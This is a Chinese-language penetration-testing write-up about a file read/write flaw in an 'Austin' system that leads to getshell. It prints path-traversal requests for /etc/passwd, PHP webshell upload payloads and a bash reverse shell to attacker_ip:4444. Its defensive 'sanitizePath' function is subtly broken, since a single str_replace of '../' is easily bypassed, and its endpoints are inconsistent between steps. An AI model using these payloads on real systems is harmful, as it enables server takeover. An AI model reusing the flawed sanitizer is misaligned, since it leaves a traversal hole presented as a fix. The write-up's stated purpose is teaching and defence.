渗透测试 | 对Austin系统进行代码审计并利用文件读写漏洞实现Getshell
字数 802 2025-08-18 11:36:48

Austin系统渗透测试与Getshell技术分析

1. 漏洞背景

Austin系统存在文件读写漏洞,攻击者可以通过精心构造的请求实现任意文件读写,最终达成Getshell的目的。该漏洞属于高危漏洞,可导致服务器完全沦陷。

2. 漏洞分析

2.1 漏洞位置

漏洞主要存在于Austin系统的文件处理模块中,具体表现为:

  • 未对用户输入的文件路径进行充分过滤
  • 文件操作函数未实施严格的权限控制
  • 存在危险的文件包含功能

2.2 漏洞原理

系统在处理文件上传、读取请求时,直接使用用户提供的路径参数进行文件操作,未进行以下安全检查:

  1. 路径遍历检查(如../)
  2. 文件后缀限制
  3. 文件操作权限验证
  4. 文件路径白名单验证

3. 渗透测试步骤

3.1 信息收集

  1. 识别Austin系统版本
  2. 确定系统架构和运行环境
  3. 枚举可访问的文件接口

3.2 漏洞验证

  1. 测试路径遍历:
POST /api/file/read
{"path":"../../../../etc/passwd"}
  1. 测试文件上传:
POST /api/file/upload
{"path":"/var/www/uploads/shell.php","content":"<?php system($_GET['cmd']);?>"}

3.3 漏洞利用

3.3.1 任意文件读取

通过修改path参数读取敏感文件:

请求:
GET /download?file=../../../../etc/passwd

响应:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

3.3.2 任意文件写入

  1. 上传Webshell:
POST /file/save
Content-Type: application/json

{
  "filename": "shell.php",
  "content": "<?php eval($_POST['cmd']);?>"
}
  1. 验证Webshell:
GET /uploads/shell.php?cmd=whoami

3.3.3 Getshell实现

  1. 通过文件写入漏洞上传恶意脚本
  2. 访问上传的脚本文件
  3. 建立反向连接:
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

4. 防御措施

4.1 输入验证

  1. 实施严格的路径过滤:
function sanitizePath($path) {
    $path = str_replace('../', '', $path);
    $path = preg_replace('/\/+/', '/', $path);
    return $path;
}
  1. 限制文件扩展名:
$allowed_ext = ['jpg', 'png', 'pdf'];
if(!in_array(pathinfo($filename, PATHINFO_EXTENSION), $allowed_ext)) {
    die('Invalid file type');
}

4.2 权限控制

  1. 实施最小权限原则
  2. 文件操作使用chroot环境
  3. 设置open_basedir限制

4.3 其他防护

  1. 定期安全审计
  2. 实施WAF规则拦截恶意请求
  3. 文件上传目录设置为不可执行

5. 漏洞修复建议

  1. 更新到Austin系统最新版本
  2. 实施上述防御措施
  3. 对已存在的Webshell进行排查清理
  4. 修改所有系统凭证

6. 总结

Austin系统的文件读写漏洞由于缺乏足够的输入验证和权限控制,导致攻击者可以轻易实现Getshell。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并实施最小权限原则。

Austin系统渗透测试与Getshell技术分析 1. 漏洞背景 Austin系统存在文件读写漏洞,攻击者可以通过精心构造的请求实现任意文件读写,最终达成Getshell的目的。该漏洞属于高危漏洞,可导致服务器完全沦陷。 2. 漏洞分析 2.1 漏洞位置 漏洞主要存在于Austin系统的文件处理模块中,具体表现为: 未对用户输入的文件路径进行充分过滤 文件操作函数未实施严格的权限控制 存在危险的文件包含功能 2.2 漏洞原理 系统在处理文件上传、读取请求时,直接使用用户提供的路径参数进行文件操作,未进行以下安全检查: 路径遍历检查(如../) 文件后缀限制 文件操作权限验证 文件路径白名单验证 3. 渗透测试步骤 3.1 信息收集 识别Austin系统版本 确定系统架构和运行环境 枚举可访问的文件接口 3.2 漏洞验证 测试路径遍历: 测试文件上传: 3.3 漏洞利用 3.3.1 任意文件读取 通过修改path参数读取敏感文件: 3.3.2 任意文件写入 上传Webshell: 验证Webshell: 3.3.3 Getshell实现 通过文件写入漏洞上传恶意脚本 访问上传的脚本文件 建立反向连接: 4. 防御措施 4.1 输入验证 实施严格的路径过滤: 限制文件扩展名: 4.2 权限控制 实施最小权限原则 文件操作使用chroot环境 设置open_ basedir限制 4.3 其他防护 定期安全审计 实施WAF规则拦截恶意请求 文件上传目录设置为不可执行 5. 漏洞修复建议 更新到Austin系统最新版本 实施上述防御措施 对已存在的Webshell进行排查清理 修改所有系统凭证 6. 总结 Austin系统的文件读写漏洞由于缺乏足够的输入验证和权限控制,导致攻击者可以轻易实现Getshell。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并实施最小权限原则。